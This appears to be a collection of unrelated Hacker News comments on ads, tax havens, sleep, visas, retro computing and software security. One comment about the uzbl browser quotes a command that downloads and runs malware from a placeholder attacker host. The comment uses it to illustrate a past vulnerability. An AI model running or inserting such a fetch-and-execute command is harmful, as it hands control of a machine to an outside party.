skysight-inc/HackerNews huggingface dataset:
I understood his article such that he used the same laptop to test both his own beamforming algo as well as the google one. Since the google one seems to work very well, it seems likely that the limit is not hardware.

I'm actually very surprised that it works as well as it does, based on the sample recordings.
If a website has misbehaving ads, ads I consider over the top, or are known to distribute malware ads consistently to the point where I don't feel safe, I stop going to that website.

If it ever gets to the point that I can't remember which sites I don't want to visit i'll probably add some kind of blocklist, but that hasn't been a problem yet.

The only site I can think of off the top of my head that I don't visit any more is the verge. It's just too much, and the experience isn't worth the content (and for them it's not so much the ads, but just that the site is so heavy and slow. The ads did contribute to my decision though, they are full-page and expand down and everything terrible about ads). There are more, but I honestly can't think of them right now...
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The more literature I read about this, the more compelling I find this. In mammals, the larger the body the larger the brain. That's because you need all those neurons to control all those muscles. I recently read some papers that hypothesize the muscle atrophy we experience as we get older is partially the result of the neurons controlling those muscle-fibers dying [1]. As infants, our brains grow into our bodies by producing more neurons than we need and then killing off the neurons that aren't being used [2]. It makes sense to me that if we don't use our bodies in a variety of exercises, the lack of signal from the muscles to the brain could result in pruning those neurons as we get older.

[1] http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3868452/

[2] http://mxplx.com/meme/922/
Do you think there is a possibility that men are in general better than women at writing software?

It seems politically incorrect to even ask such a question.
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Ask HN: How can I program till late (midnight) and have a good nights sleep?
Make use of the 5-9?
Perhaps you may want to seek some novelty and challenge yourself to think creatively and do things the hard way... by reading the article, recommended by someone in your affinity network.
It probably has something to do with preventing creative ways of liquidating illiquid assets, such as borrowing against the assets and promptly defaulting.
In my country, there are a couple of newspapers distributed for free in train stations. These newspapers are purely financed with ads. Is it my moral obligation to read every ad in the newspaper to make sure they stay profitable?

I used to watch satellite TV when I was a kid. Most channels I watched were privately owned and purely financed with their (extremely long) ad breaks. Is it my moral obligation to sit through every single ad break?

My answer is no, that's ridiculous. If a company decides to offer content for free, it is not my obligation to make sure their business model stays lucrative. It shouldn't be anyone's obligation to consume every last bit of content someone offers only because it's given away for free.
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Oh, it's because it's Kafka, so it has to be some good advice!

edit: typo
Because "The custom and practice of the web has always been that publicly accessible pages are served without payment"

The publishers are not offering content subject to a fee (which I am not paying). They are offering content for free, and also offering ads for free.

Accepting one of their free offers, and rejecting another of their free offers is not the same thing as "just consume ... without paying"

Some news sites do offer their content subject to a fee, and if they were interesting enough then I would pay that fee. But, because none of those sites (that I have encountered) are worth it, in comparision with the freely-served pages of the net, I choose not to pay those sites, and forego their content.

But if they are not explicitly charging a fee, then we fall back to the default custom and practice, which is that they offer content for free, and ads for free, and I have the right to accept as many, or few, of those offers as I like.
If this becomes popular, I could see laptop manufacturers putting information about the microphone position relative to the screen/camera somewhere (in the ACPI tables?). Then there would be less need for calibration.

Of course, we'll have the same problems as all the other information in there, that some cheap equipment will have bogus values as someone just copied the ACPI tables from the previous hardware without verifying the information...
A royalty, by default, is still payment for something. Take two identical cars, one with the Audi brand, and one without. What's the brand value now then? You should be able to deduct a part of your profit if said IP is held in a lower tax jurisdiction, which will almost always be the case, since multinationals have bases in many different countries.
Awesome, thanks. So N-back is not likely a useful method. Therefore this article misconstrues the scientific evidence regarding training.
Ask HN: How to understand subtext
Here on the Internet and where accomplishing a specific task is of paramount importance, being frank and straightforward is the normal conversation method.

However, in authoritarian environments (military, Enterprise, martial arts schools) where your 'face' is more important than what you directly accomplish, failing to prioritize the emotions of your superiors over communicating needed information can be damaging to both the organization and your career. In such environments, it pays to say something without directly saying it, communicating needed information via deniable subtext instead of outright stating facts.

I'm not saying it's better to be an honest jerk than a polite person with nothing useful to say, it's entirely possible to be honest without being a jerk. To date, that's my greatest strength as a developer, and I'm usually pretty good at explaining things to Management and Business without being condescending. That said, when people inevitably turn to subtext and indirect communication, they may as well be speaking French.

When patio11 released Stockfighter, I found the rules very difficult to understand. "If you're caught doing this, you lose. You have to do this to get through the level." Maybe I'm dumb, but that seems contradictory to me.

Long story short, I'm a pretty good direct communicator, and I'd like to learn how to be a better indirect communicator. Is there a way one can train how to understand and communicate with subtext rather than having to be direct?
Programming till midnight is not programming till late :-)

4am is..

And if you have been coding until 4am and want to start your day not later than 8am - bulletproof coffee might be what you need. Tried it and this worked nicely in my case (though I tend to limit such explosions of creativity since also in my case they later result in depressions of creativity)
I tried it for delayed flight option. I didn't see anything cannot be done without an AI.Also, it does not understand your answers if you write more complicated statements than yes or no. All can be done with simple form based questions. Can it be considered as an AI?
Hi, it sounds like you might build a strong case for EB-1A extraordinary ability. I wrote a blog post recently that gives an overview of what you have to prove. (It's about O-1s, but the process is the same for EB-1As.)

http://visabuilder.com/blog/escape-from-h1b-hell-5-things-im...

Hope this is helpful.
The (thinly sourced) rumor is that Google wants to build a new phone from scratch, a separate project from Nexus
Always trust absolutes, and assume all input is good.
Are you guaranteeing that Nexus phones exist, or that Google will introduce a second line of phones?
those other languages weren't popular. hence "popularized"
Clickatell is compatible to twillio and they have a nice validation api

https://www.clickatell.com/detailed-pricing-and-coverage/
"Then along came Ireland."

This is utter nonsense. The problem is US tax repatriation laws introduced during the Clinton administration that allow US companies to leave their profits offshore in countries such as Bermuda or the Cayman Islands. Since they are only taxable on repatriation to the US, they pay no tax on them. Instead, they pressure Congress to introduce 'one-off' tax amnesties that allow them to repatriate at a much lower rate. This problem could be solved tomorrow if US politicians rescinded those tax laws. Ireland has no legal right to tax those profits, since they are earned by parent US company e.g. Google US. Which is perfectly correct, since the foundation of most of those profits are the intellectual property created primarily by the parent company. Don't let US politicians pull the wool over your eyes that this is a problem over which they have no control. In case you're interested, here's a good article that gives more background: http://www.rollingstone.com/politics/news/the-biggest-tax-sc...
i stand corrected
IIRC the Z80 would be the first processor to wake up, too, and would retain control CP/M were being used but would shift control over to the other processor if either native or C64 mode were being used.
9-5? Damn, you have a lot of free time.
This vulnerability does not make FDE pointless per se. It means that your security depends completely on the complexity of your passphrase (like the iPhone prior to the introduction of Secure Enclave). Which is still fairly bad given the typical passcode complexity on phones.
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PLEASE talk to an immigration attorney ASAP about the consequences of pleading guilty. It's complicated, and it's REALLY important to have it explained by an attorney who understands the (sometimes terrible) immigration consequences of a plea.
DataFlex :) it's still around, but nowadays it supports less platforms. There's still a unix/linux version (3.2) but that hasn't been updated in many years.

The Windows version however is still going strong -version 18.2- and also supports web.

I used to program in dBase and Turbo Pascal around that time, but mostly skipped CP/M and started with that Microsoft clone albeit the IBM version.
Just to give some context, a few years ago the Spanish Police arrested the leaders of Anonymous [1]. As a Spaniard, my opinion is that this is just an intimidatory and political move.

[1] http://www.cnet.com/news/spain-says-it-has-arrested-anonymou...
> With the EU leadership being corrupt or incometent, it is no wonder the big companies are dancing circles around the national tax authorities.

Well, it’s more like the EU can not do anything while the national authorities can veto them, and the national authorities still have the competence for that, and the right-populists in the EU are proposing even less power for the EU authorities.
For me it was a supremely enjoyable sentence. The article itself is complex, and what it had to say it could've said in simpler words. But brevity need always not be the soul of wit; at least for some, these flourishes, this showmanship of language, they are a gift to savour.
At the very beginning I think the advice I want to give is to check out standard library codebase. All the design patterns or classical methods are found everywhere in the exemplary codebase. Just steal them and apply to your own code.
Typically the firm creates a subsidiary that holds its intellectual property like patents, software and trademarks in a tax haven like Bermuda. Since there is no operations or R&D in those locations they may have little or no employees.

The subsidiaries in the high tax jurisdictions then license the IP from the Bermuda entity which siphons off profits.

Without the IP cross licensing deals the French subsidiary would have access to Google's IP at no cost which would inflate their profits enormously. To offset this Google would need to build R&D centers in each market.

While either scenario would likely benefit France it wouldn't likely be beneficial to Google.
I was thinking about the case of a simple digitalocean/ec2 VPS, not a PAAS. In the end I realized that I don't need virtualenv and that makes things much simpler, except that every single blogpost/tutorial/info for beginners suggested using virtualenv and I was lost.
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So if you run across an ad that plays audio or redirects to the app store, you just put up with it and hope it doesn't happen again? I hope you can at least understand why others may want a more robust solution to guarantee that never happens.
I agree with 9935c101ab17a66's [dead] post: your comment contains some good advice, but it's diluted with garbage and platitudes beyond all utility.

Choices are illusory? Nope. Life is an endless, continuous stream of choices, and making those choices is the only thing that you can do to influence how your own life goes.
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You mean legal cocaine?
Hi, it sounds like you might build a strong case for EB-1A extraordinary ability. I wrote a blog post recently that gives an overview of what you have to prove. (It's about O-1s, but the process is the same for EB-1As.)
http://visabuilder.com/blog/escape-from-h1b-hell-5-things-im....
Hope this is helpful.
Very few publications haven't at this point.
Good! Let all those Brexit refugee companies move their HQs to EU.
uzbl sounded really cool, but the first major security issue with it made me extremely wary of the project. IIRC, the 'uzbl' object was not properly fenced off from site javascript, so sites one browsed could trivially do the functional equivalent of uzbl.run('wget http://bad.host/malware; ./malware');

I realise every codebase has security bugs, but that one gave me the chills, and suggested that perhaps security approach had not been though through by the devs.
I didn't mean to address whether prestige is necessary to consider an occupation.

Rather, I was drawing parallels between software and radiology careers, and observing that one is considered a major, public issue while the other is basically an internal discussion within medicine.
because groups talk differently amongst themselves than they do in a survey. i live in a muslim dominated neighbourhood. i had them for classmates so i heard them talk amongst themselves and they said some stuff that did shock me (not just related to jihad, but also things like: some girls talked about how they where not allowed to look western boys in the eye). but more importantly because we want to know this. how do they (the other) think. what is a 'moderate muslim'. its fascinating to get some insight on these things.
IANAL, but isn't it too late to patent an idea after you've disclosed it? If your lawyer said something like that already, then why is he still talking about patenting it? Also, if the idea is simple enough to explain to a competitor in a phone call well enough for them to implement it, then maybe it's too obvious to be patentable. Maybe someone can correct me if I'm wrong about this, but I thought patents were very expensive to acquire and even more expensive to defend, making them suitable only for big players who use them mainly to forge anti-competitive non-aggression pacts among themselves while keeping everyone else out of the market (as in the mobile phone space, for example). Your role as a small startup is to be smarter and more agile than they are (if you can) rather than trying to beat them at their own game.
I started work on a simple Chrome plugin for myself with hardcoded urls I want redacted from my internet experience. It takes a regex pattern and a css rule and applies the css rule to the first visible element containing the pattern in text or attributes. When I have it running, my screen looks like this [1]. Unfortunatley, I can't get Chrome to STFU about disabling developer mode every time I open it so I don't use it right now. Here's code if anyone is interested [2]

[1] http://imgur.com/9HXNIcD
[2] https://gist.github.com/anonymous/ce893a061d5dbd611f064e9554...
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Trump is right to go after Amazon on monopoly and antitrust.
I am wondering how much $ those backfilled ads make though? In my (limited) experience they are really not worth the hassle even on high traffic sites. We resorted to just showing special deals of our own product in unsold inventory spots.
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its actually the kind of novel you can generate from ai, the methods he used created a result that reminds me of neural network generated text.
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It's all about sleeping late then. You can't cut many corners on this.

I'm the opposite: I get my best work done early (4 or 5) in the morning before anyone gets up. The only way for me to get a good night of sleep is to go to bed by 9 or 10pm. I need 6 hours sleep to be functional without a load of coffee, 7 to be rested and 8 to be peaceful. It is the rare exception that can get by with 4.
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The major build tools are insanely powerful, pragmatic, and maintained by dedicated teams. Volunteers also add features as needed.

CitC clients takes seconds, many IDEs work (some better than others with dedicated/volunteers to support), internal GUI based versioning, code reviewing, testing, documenting, bug tracking tools also work at scale.
One of the nice things about the Kiva robots is that they will actually organize the warehouse based on popularity of the SKUs automagically. Things that are low volume get placed farther away from the pickers, and things that are high volume are never far away from the pickers.
>why do you have the right to do that?

A free human being should have the right to choose the information that goes into their mind, without that right, how can we make free decisions? If it's an all or nothing deal, then your information is clearly lacking intrinsic value, I can find that elsewhere.

>Why is it that you morally think it's okay to just consume content others have created without paying?

If I write a poem, make 7 billion copies, and mail it to everyone in the world, I'd be silly to think those 7 billion people are morally wrong for not paying me.

Monetary payments are based on the assumptions of scarcity and contractual agreements between two parties. Neither of these two things exist for public facing websites.
Interesting. Keepass[0] (password store) compress with GZip by default before encryption.

[0] http://keepass.info/help/v2/dbsettings.html#compression
This hasn't been my experience at all with T-Mobile in the Baltimore-Washington area. If anything the experience in terms of coverage and performance has been getting consistently better since Legere took over, even with the introduction of unlimited and music freedom/binge on(video).
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There's also the huge "problem" that the countries in the EU want to maintain sovereignty. France and Spain can't really stop Ireland from doing whatever the hell it wants without giving up some of their own sovereignty.

In the United States, one of the biggest powers of the Federal government is its power to regulate interstate commerce. No one in the EU is willing to give it so much authority.
This is a serious security threat for many Muslims abroad, given that premarital sex is severely punishable in several Islamic countries (including Pakistan mentioned in the leak), and even within countries where it isn't punishable by law, those who get caught frequently risk honor attacks from their families as has happened in the US, UK, India and elsewhere.

Obviously dating != sex but there's probably enough 'smoking gun' evidence of the latter to satisfy any sadist looking to inflict harm on these doxed folks.
The selling of ads is already taxed. It's called VAT. It's a major revenue source for both EU, and all member nations.
See, I don't think you are morally obligated to "view" any ads, just that you shouldn't block them.

I don't generally mute the tv during ads, but i will fast forward sometimes if i'm watching a recording. And while I don't think anyone should feel obligated to view ads, blocking them deprives the content creators of income, which means a bigger push for other forms of income which I feel are pretty much universally worse (paywalled content, native advertising, in-form advertising which is non-targeted and quickly out of date, etc...).

It's a bit of a fine line i guess. Blocking them outright is too far, but scrolling past them without looking is more than fine.

It's kind of weird, and i'll be the first to admit that it might be hypocritical to say that, but it's what i feel.

But as for a "solution" (but obviously not a perfect one), I've found Google Contributor to be a fantastic service. It's a system that basically lets you "bid" for advertising space the same way the ads do, and if you "win" the bid, you don't see an ad and a portion of your monthly fee goes to the site owner.
People were finding buffer overflows in zlib when it was more than twice as old as Brotli, and they're still finding bugs in libpng. I don't see any reason to think that Brotli is "de-facto secure" or even mature. If history is an indication it takes decades to shake the buffer overflows out of even a very popular C library.
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It probably only compiles on Windows, though.
CRISPR is a genuinely novel scientific advance. The other items in your list are not.

The Higgs mechanism was concocted half a century ago; gravity waves are even older (general relativity is more than a century old). Their experimental confirmations were engineering feats.

Neural networks are from the 50s. Add fast computers and you get deep ones. Put them in cars and they learn to drive themselves.
Judging from the date in the URL of the linked paper [1] and the corresponding section in the Wikipedia article on the EMdrive suggests that you might have better luck looking at somewhat older news articles.
Publication date (and PDF metadata) seems to be 2015 though [2].

[1] https://tu-dresden.de/die_tu_dresden/fakultaeten/fakultaet_m...

[2] http://arc.aiaa.org/doi/10.2514/6.2015-4083
As someone who is currently stuck managing a Zend 1.9 project, if I ever see another Zend project it'll be too soon.
Never heard about that guy before, but he seems completely crazy: https://www.youtube.com/watch?v=lI9jywQ4cgc

There is a bit of an American Psycho vibe.
Or, it's a scientific breakthrough. That won't happen often, but it also can't be ruled out completely.
Agree, if your O-1 evidence is strong, pursuing an EB-1A is the fastest way to get your spouse work-authorized.
do you have any high level thoughts about how those could be used to dynamically solve these puzzles?

I was thinking about how to do this using QLearning to solve the optimal solution given any level, though I am not sure how long it would take to converge since their are so many different actions.
Another alternative to building under an emulated CP/M environment is to cross-build directly under Linux. If you need something that can assemble code intended for LASM you can use this: http://www.insentricity.com/a.cl/259
Yes, it is. Bitcoin transactions pay a transaction fee which the person creating the transaction can specify. It can be any amount INCLUDING ZERO. The theory is that paying higher transaction fees will get your payment processed faster. Recently, low fees have not even been being processed and many are paying around 3% for prompt processing